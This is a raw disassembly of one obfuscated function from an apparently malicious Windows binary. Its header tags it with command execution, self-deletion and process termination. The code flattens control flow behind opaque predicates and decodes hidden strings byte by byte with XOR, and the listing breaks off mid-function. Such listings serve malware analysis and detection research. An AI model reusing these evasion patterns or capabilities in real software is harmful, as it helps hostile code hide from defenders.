Function at 0x14000d6f0
Capabilities:
Execute command
Self delete
Terminate process

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x298
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x210], 0xfffffffffffffffe
sub rsp, 0x20
lea rdx, [0x14029c05b]
lea rcx, [rbp - 0x30]
call fcn.1400015d0
add rsp, 0x20
mov eax, dword [0x1402b5c90]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
setne al
cmp dword [0x1402b5c94], 0xa
mov qword [rbp + 0x120], rsp
setge cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, 0x30b87c25
mov edx, 0x6c0033be
cmove eax, edx
mov ecx, 0xada74995
cmove ecx, edx
mov edx, 0x23af8f4c
jmp 0x14000d780
mov edx, ecx
nop
cmp edx, 0x23af8f4b
jle 0x14000d7b0
cmp edx, 0x23af8f4c
je 0x14000d77c
cmp edx, 0x30b87c25
je 0x14000d7d2
cmp edx, 0x6c0033be
jne 0x14000d780
mov edx, 0xada74995
jmp 0x14000d780
cmp edx, 0x831a9ead
je 0x14000d7d9
cmp edx, 0xada74995
jne 0x14000d780
lea rdx, [0x14029b96d]
mov qword [rbp + 0x178], rdx
mov edx, eax
jmp 0x14000d780
mov edx, 0x831a9ead
jmp 0x14000d780
mov rax, qword [rbp + 0x178]
lea rcx, [rbp + 0x138]
mov qword [rbp + 0x180], rcx
mov qword [rbp + 0x1d0], rax
mov eax, 0x8e0c9618
mov r9d, 0x9209573
mov r10d, 0xe804e5f4
mov r11d, 0x65935c71
nop dword [rax]
cmp eax, 0x2b52139c
je 0x14001047b
cmp eax, 0x8e0c9618
jne 0x14000d810
mov qword [rbp + 0x128], rsp
mov rsi, qword [rbp + 0x180]
mov r12, qword [rbp + 0x1d0]
movzx eax, byte [rbp + 0x1e0]
mov eax, dword [0x1402b5c98]
mov ecx, dword [0x1402b5c9c]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete byte [rbp + 0x168]
cmp ecx, 0xa
setl byte [rbp + 0x170]
mov eax, 0x2a0c6e60
jmp 0x14000d8dc
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x1d
mov rsp, rbx
mov byte [rcx + 0x12], al
add rcx, 0x13
mov qword [rbp + 0x190], rcx
mov rax, qword [rbp + 0x200]
mov rax, qword [rax]
add rax, 0x13
mov qword [rbp + 0x1b0], rax
mov eax, dword [0x1402b5c98]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x4fef4114
mov r8d, 0x53df21fc
cmove eax, r8d
cmp dword [0x1402b5c9c], 0xa
mov edx, 0x4fef4114
cmovge eax, edx
setl dl
xor dl, cl
cmovne eax, r8d
cmp eax, 0x352d2927
jg 0x14000d950
cmp eax, 0x2a0c6e5f
jle 0x14000d9a0
cmp eax, 0x2a0c6e60
je 0x140010425
cmp eax, 0x2ccc413b
jne 0x140010458
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov rbx, rsp
mov qword [rbp + 0x200], rax
mov rax, qword [rbp + 0x200]
mov qword [rax], r12
mov qword [rbp + 0x1e8], rsi
mov rcx, qword [rbp + 0x1e8]
mov rax, qword [rbp + 0x200]
mov rax, qword [rax]
movzx edx, byte [rax]
mov eax, 0x9c6a156
jmp 0x14000da50
cmp eax, 0x53df21fb
jg 0x14000d9d0
cmp eax, 0x352d2928
je 0x14000ef8c
cmp eax, 0x4fef4114
jne 0x14000d8dc
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rcx, rsp
mov rbx, rsp
mov qword [rcx], r12
movzx edx, byte [r12]
mov eax, 0x9c6a156
jmp 0x14000dc20
cmp eax, 0xc55c03d3
je 0x14000dc9c
cmp eax, 0x3a8cfc5
jne 0x14000d8dc
mov rcx, rsp
mov rax, qword [rbp + 0x1b0]
movzx edx, byte [rax]
mov eax, 0x9c6a156
jmp 0x14000db40
cmp eax, 0x53df21fc
je 0x14000efc2
cmp eax, 0x5aba48f0
jne 0x14000d8dc
mov eax, 0x352d2928
jmp 0x14000d8dc
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r9d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x14000dac0
cmp eax, 0x65935c71
je 0x14000d9f0
cmp eax, 0x10a09de6
je 0x14000dcc2
cmp eax, 0x9c6a156
jne 0x14000da50
mov eax, dword [0x1402b5ca0]
mov r13d, dword [0x1402b5ca4]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete dil
cmp r13d, 0xa
setl r14b
xor r14b, dil
mov edi, 0xe804e5f4
cmovne edi, r11d
test eax, r8d
mov eax, edi
cmove eax, r11d
cmp r13d, 0xa
cmovge eax, edi
jmp 0x14000da50
cmp eax, 0xe804e5f4
je 0x14000dad8
cmp eax, 0x9209573
jne 0x14000da50
mov eax, 0x10a09de6
jmp 0x14000da50
mov eax, 0x65935c71
jmp 0x14000da50
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp r8d, 0xa
setl bl
xor bl, al
mov ebx, 0xe804e5f4
cmovne ebx, r9d
cmp edi, 0xffffffff
mov eax, ebx
cmove eax, r9d
cmp r8d, 0xa
cmovge eax, ebx
nop dword [rax]
cmp eax, 0x9c6a155
jle 0x14000dba0
cmp eax, 0x65935c71
je 0x14000dae2
cmp eax, 0x10a09de6
je 0x14000efcc
cmp eax, 0x9c6a156
jne 0x14000db40
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete bl
cmp r8d, 0xa
setl r14b
xor r14b, bl
mov ebx, 0xe804e5f4
cmovne ebx, r11d
test eax, edi
mov eax, ebx
cmove eax, r11d
jmp 0x14000db35
cmp eax, 0xe804e5f4
je 0x14000dbb5
cmp eax, 0x9209573
jne 0x14000db40
mov eax, 0x10a09de6
jmp 0x14000db40
mov eax, 0x65935c71
jmp 0x14000db40
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete r14b
cmp r8d, 0xa
setl r13b
xor r13b, r14b
mov r14d, 0xe804e5f4
cmovne r14d, r9d
test eax, edi
mov eax, r14d
cmove eax, r9d
cmp r8d, 0xa
cmovge eax, r14d
nop word [rax + rax]
cmp eax, 0x9c6a155
jle 0x14000dc80
cmp eax, 0x65935c71
je 0x14000dbbc
cmp eax, 0x10a09de6
je 0x14000f204
cmp eax, 0x9c6a156
jne 0x14000dc20
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r11d
jmp 0x14000dc20
cmp eax, 0xe804e5f4
je 0x14000dc95
cmp eax, 0x9209573
jne 0x14000dc20
mov eax, 0x10a09de6
jmp 0x14000dc20
mov eax, 0x65935c71
jmp 0x14000dc20
mov eax, dword [0x1402b5c98]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0x5aba48f0
mov r8d, 0x352d2928
jmp 0x14000efad
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0xb
mov rsp, rbx
mov rbx, rsp
mov byte [rcx], al
mov rax, qword [rbp + 0x200]
mov rax, qword [rax]
movzx edx, byte [rax + 1]
mov eax, 0x9c6a156
jmp 0x14000dd50
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete r14b
cmp r8d, 0xa
setl r13b
xor r13b, r14b
mov r14d, 0xe804e5f4
cmovne r14d, r9d
test eax, edi
mov eax, r14d
cmove eax, r9d
cmp r8d, 0xa
cmovge eax, r14d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x14000ddb0
cmp eax, 0x65935c71
je 0x14000dce8
cmp eax, 0x10a09de6
je 0x14000ddcc
cmp eax, 0x9c6a156
jne 0x14000dd50
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp r8d, 0xa
setl r14b
xor r14b, al
mov r14d, 0xe804e5f4
cmovne r14d, r11d
cmp edi, 0xffffffff
mov eax, r14d
cmove eax, r11d
jmp 0x14000dd3e
cmp eax, 0xe804e5f4
je 0x14000ddc5
cmp eax, 0x9209573
jne 0x14000dd50
mov eax, 0x10a09de6
jmp 0x14000dd50
mov eax, 0x65935c71
jmp 0x14000dd50
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0xc
mov rsp, rbx
mov rbx, rsp
mov byte [rcx + 1], al
mov rax, qword [rbp + 0x200]
mov rax, qword [rax]
movzx edx, byte [rax + 2]
mov eax, 0x9c6a156
jmp 0x14000de50
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r9d
nop dword [rax]
cmp eax, 0x9c6a155
jle 0x14000dec0
cmp eax, 0x65935c71
je 0x14000ddf3
cmp eax, 0x10a09de6
je 0x14000dee2
cmp eax, 0x9c6a156
jne 0x14000de50
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp r8d, 0xa
setl r14b
xor r14b, al
mov r14d, 0xe804e5f4
cmovne r14d, r11d
cmp edi, 0xffffffff
mov eax, r14d
cmove eax, r11d
cmp r8d, 0xa
cmovge eax, r14d
jmp 0x14000de50
cmp eax, 0xe804e5f4
je 0x14000ded8
cmp eax, 0x9209573
jne 0x14000de50
mov eax, 0x10a09de6
jmp 0x14000de50
mov eax, 0x65935c71
jmp 0x14000de50
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0xd
mov rsp, rbx
mov rdx, rsp
mov byte [rcx + 2], al
mov rax, qword [rbp + 0x200]
mov rax, qword [rax]
movzx ebx, byte [rax + 3]
mov eax, 0x9c6a156
jmp 0x14000df70
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], bl
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete r14b
cmp r8d, 0xa
setl r13b
xor r13b, r14b
mov r14d, 0xe804e5f4
cmovne r14d, r9d
test eax, edi
mov eax, r14d
cmove eax, r9d
cmp r8d, 0xa
cmovge eax, r14d
nop word [rax + rax]
cmp eax, 0x9c6a155
jle 0x14000dfd0
cmp eax, 0x65935c71
je 0x14000df09
cmp eax, 0x10a09de6
je 0x14000dfec
cmp eax, 0x9c6a156
jne 0x14000df70
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r11d
jmp 0x14000df70
cmp eax, 0xe804e5f4
je 0x14000dfe5
cmp eax, 0x9209573
jne 0x14000df70
mov eax, 0x10a09de6
jmp 0x14000df70
mov eax, 0x65935c71
jmp 0x14000df70
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0xe
mov rsp, rdx
mov rdx, rsp
mov byte [rcx + 3], al
mov rax, qword [rbp + 0x200]
mov rax, qword [rax]
movzx ebx, byte [rax + 4]
mov eax, 0x9c6a156
jmp 0x14000e070
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], bl
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r9d
nop dword [rax]
cmp eax, 0x9c6a155
jle 0x14000e0d0
cmp eax, 0x65935c71
je 0x14000e013
cmp eax, 0x10a09de6
je 0x14000e0ec
cmp eax, 0x9c6a156
jne 0x14000e070
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r11d
jmp 0x14000e070
cmp eax, 0xe804e5f4
je 0x14000e0e5
cmp eax, 0x9209573
jne 0x14000e070
mov eax, 0x10a09de6
jmp 0x14000e070
mov eax, 0x65935c71
jmp 0x14000e070
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0xf
mov rsp, rdx
mov rbx, rsp
mov byte [rcx + 4], al
mov rax, qword [rbp + 0x200]
mov rax, qword [rax]
movzx edx, byte [rax + 5]
mov eax, 0x9c6a156
jmp 0x14000e170
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea r8d, [rax - 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r9d
nop dword [rax]
cmp eax, 0x9c6a155
jle 0x14000e1d0
cmp eax, 0x65935c71
je 0x14000e113
cmp eax, 0x10a09de6
je 0x14000e1ec
cmp eax, 0x9c6a156
jne 0x14000e170
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r11d
jmp 0x14000e170
cmp eax, 0xe804e5f4
je 0x14000e1e5
cmp eax, 0x9209573
jne 0x14000e170
mov eax, 0x10a09de6
jmp 0x14000e170
mov eax, 0x65935c71
jmp 0x14000e170
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x10
mov rsp, rbx
mov rbx, rsp
mov byte [rcx + 5], al
mov rax, qword [rbp + 0x200]
mov rax, qword [rax]
movzx edx, byte [rax + 6]
mov eax, 0x9c6a156
jmp 0x14000e270
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r9d
nop dword [rax]
cmp eax, 0x9c6a155
jle 0x14000e2e0
cmp eax, 0x65935c71
je 0x14000e213
cmp eax, 0x10a09de6
je 0x14000e302
cmp eax, 0x9c6a156
jne 0x14000e270
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete r14b
cmp r8d, 0xa
setl r13b
xor r13b, r14b
mov r14d, 0xe804e5f4
cmovne r14d, r11d
test eax, edi
mov eax, r14d
cmove eax, r11d
cmp r8d, 0xa
cmovge eax, r14d
jmp 0x14000e270
cmp eax, 0xe804e5f4
je 0x14000e2f8
cmp eax, 0x9209573
jne 0x14000e270
mov eax, 0x10a09de6
jmp 0x14000e270
mov eax, 0x65935c71
jmp 0x14000e270
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x11
mov rsp, rbx
mov rdx, rsp
mov byte [rcx + 6], al
mov rax, qword [rbp + 0x200]
mov rax, qword [rax]
movzx ebx, byte [rax + 7]
mov eax, 0x9c6a156
jmp 0x14000e380
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], bl
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r9d
nop dword [rax]
cmp eax, 0x9c6a155
jle 0x14000e3e0
cmp eax, 0x65935c71
je 0x14000e329
cmp eax, 0x10a09de6
je 0x14000e3fc
cmp eax, 0x9c6a156
jne 0x14000e380
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r11d
jmp 0x14000e380
cmp eax, 0xe804e5f4
je 0x14000e3f5
cmp eax, 0x9209573
jne 0x14000e380
mov eax, 0x10a09de6
jmp 0x14000e380
mov eax, 0x65935c71
jmp 0x14000e380
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x12
mov rsp, rdx
mov rbx, rsp
mov byte [rcx + 7], al
mov rax, qword [rbp + 0x200]
mov rax, qword [rax]
movzx edx, byte [rax + 8]
mov eax, 0x9c6a156
jmp 0x14000e490
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax - 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp r8d, 0xa
setl r14b
xor r14b, al
mov r14d, 0xe804e5f4
cmovne r14d, r9d
cmp edi, 0xffffffff
mov eax, r14d
cmove eax, r9d
cmp r8d, 0xa
cmovge eax, r14d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x14000e4f0
cmp eax, 0x65935c71
je 0x14000e423
cmp eax, 0x10a09de6
je 0x14000e50c
cmp eax, 0x9c6a156
jne 0x14000e490
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r11d
jmp 0x14000e490
cmp eax, 0xe804e5f4
je 0x14000e505
cmp eax, 0x9209573
jne 0x14000e490
mov eax, 0x10a09de6
jmp 0x14000e490
mov eax, 0x65935c71
jmp 0x14000e490
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x13
mov rsp, rbx
mov rbx, rsp
mov byte [rcx + 8], al
mov rax, qword [rbp + 0x200]
mov rax, qword [rax]
movzx edx, byte [rax + 9]
mov eax, 0x9c6a156
jmp 0x14000e5a0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax - 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp r8d, 0xa
setl r14b
xor r14b, al
mov r14d, 0xe804e5f4
cmovne r14d, r9d
cmp edi, 0xffffffff
mov eax, r14d
cmove eax, r9d
cmp r8d, 0xa
cmovge eax, r14d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x14000e600
cmp eax, 0x65935c71
je 0x14000e533
cmp eax, 0x10a09de6
je 0x14000e61c
cmp eax, 0x9c6a156
jne 0x14000e5a0
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r11d
jmp 0x14000e5a0
cmp eax, 0xe804e5f4
je 0x14000e615
cmp eax, 0x9209573
jne 0x14000e5a0
mov eax, 0x10a09de6
jmp 0x14000e5a0
mov eax, 0x65935c71
jmp 0x14000e5a0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x14
mov rsp, rbx
mov rdx, rsp
mov byte [rcx + 9], al
mov rax, qword [rbp + 0x200]
mov rax, qword [rax]
movzx ebx, byte [rax + 0xa]
mov eax, 0x9c6a156
jmp 0x14000e6b0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], bl
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete r14b
cmp r8d, 0xa
setl r13b
xor r13b, r14b
mov r14d, 0xe804e5f4
cmovne r14d, r9d
test eax, edi
mov eax, r14d
cmove eax, r9d
cmp r8d, 0xa
cmovge eax, r14d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x14000e710
cmp eax, 0x65935c71
je 0x14000e643
cmp eax, 0x10a09de6
je 0x14000e72c
cmp eax, 0x9c6a156
jne 0x14000e6b0
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r11d
jmp 0x14000e6b0
cmp eax, 0xe804e5f4
je 0x14000e725
cmp eax, 0x9209573
jne 0x14000e6b0
mov eax, 0x10a09de6
jmp 0x14000e6b0
mov eax, 0x65935c71
jmp 0x14000e6b0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x15
mov rsp, rdx
mov rbx, rsp
mov byte [rcx + 0xa], al
mov rax, qword [rbp + 0x200]
mov rax, qword [rax]
movzx edx, byte [rax + 0xb]
mov eax, 0x9c6a156
jmp 0x14000e7b0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r9d
nop dword [rax]
cmp eax, 0x9c6a155
jle 0x14000e820
cmp eax, 0x65935c71
je 0x14000e753
cmp eax, 0x10a09de6
je 0x14000e842
cmp eax, 0x9c6a156
jne 0x14000e7b0
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp r8d, 0xa
setl r14b
xor r14b, al
mov r14d, 0xe804e5f4
cmovne r14d, r11d
cmp edi, 0xffffffff
mov eax, r14d
cmove eax, r11d
cmp r8d, 0xa
cmovge eax, r14d
jmp 0x14000e7b0
cmp eax, 0xe804e5f4
je 0x14000e838
cmp eax, 0x9209573
jne 0x14000e7b0
mov eax, 0x10a09de6
jmp 0x14000e7b0
mov eax, 0x65935c71
jmp 0x14000e7b0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x16
mov rsp, rbx
mov rdx, rsp
mov byte [rcx + 0xb], al
mov rax, qword [rbp + 0x200]
mov rax, qword [rax]
movzx ebx, byte [rax + 0xc]
mov eax, 0x9c6a156
jmp 0x14000e8d0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], bl
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete r14b
cmp r8d, 0xa
setl r13b
xor r13b, r14b
mov r14d, 0xe804e5f4
cmovne r14d, r9d
test eax, edi
mov eax, r14d
cmove eax, r9d
cmp r8d, 0xa
cmovge eax, r14d
nop word [rax + rax]
cmp eax, 0x9c6a155
jle 0x14000e930
cmp eax, 0x65935c71
je 0x14000e869
cmp eax, 0x10a09de6
je 0x14000e94c
cmp eax, 0x9c6a156
jne 0x14000e8d0
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r11d
jmp 0x14000e8d0
cmp eax, 0xe804e5f4
je 0x14000e945
cmp eax, 0x9209573
jne 0x14000e8d0
mov eax, 0x10a09de6
jmp 0x14000e8d0
mov eax, 0x65935c71
jmp 0x14000e8d0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x17
mov rsp, rdx
mov rdx, rsp
mov byte [rcx + 0xc], al
mov rax, qword [rbp + 0x200]
mov rax, qword [rax]
movzx ebx, byte [rax + 0xd]
mov eax, 0x9c6a156
jmp 0x14000e9e0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], bl
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete r14b
cmp r8d, 0xa
setl r13b
xor r13b, r14b
mov r14d, 0xe804e5f4
cmovne r14d, r9d
test eax, edi
mov eax, r14d
cmove eax, r9d
cmp r8d, 0xa
cmovge eax, r14d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x14000ea40
cmp eax, 0x65935c71
je 0x14000e973
cmp eax, 0x10a09de6
je 0x14000ea5c
cmp eax, 0x9c6a156
jne 0x14000e9e0
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r11d
jmp 0x14000e9e0
cmp eax, 0xe804e5f4
je 0x14000ea55
cmp eax, 0x9209573
jne 0x14000e9e0
mov eax, 0x10a09de6
jmp 0x14000e9e0
mov eax, 0x65935c71
jmp 0x14000e9e0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x18
mov rsp, rdx
mov rbx, rsp
mov byte [rcx + 0xd], al
mov rax, qword [rbp + 0x200]
mov rax, qword [rax]
movzx edx, byte [rax + 0xe]
mov eax, 0x9c6a156
jmp 0x14000eaf0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
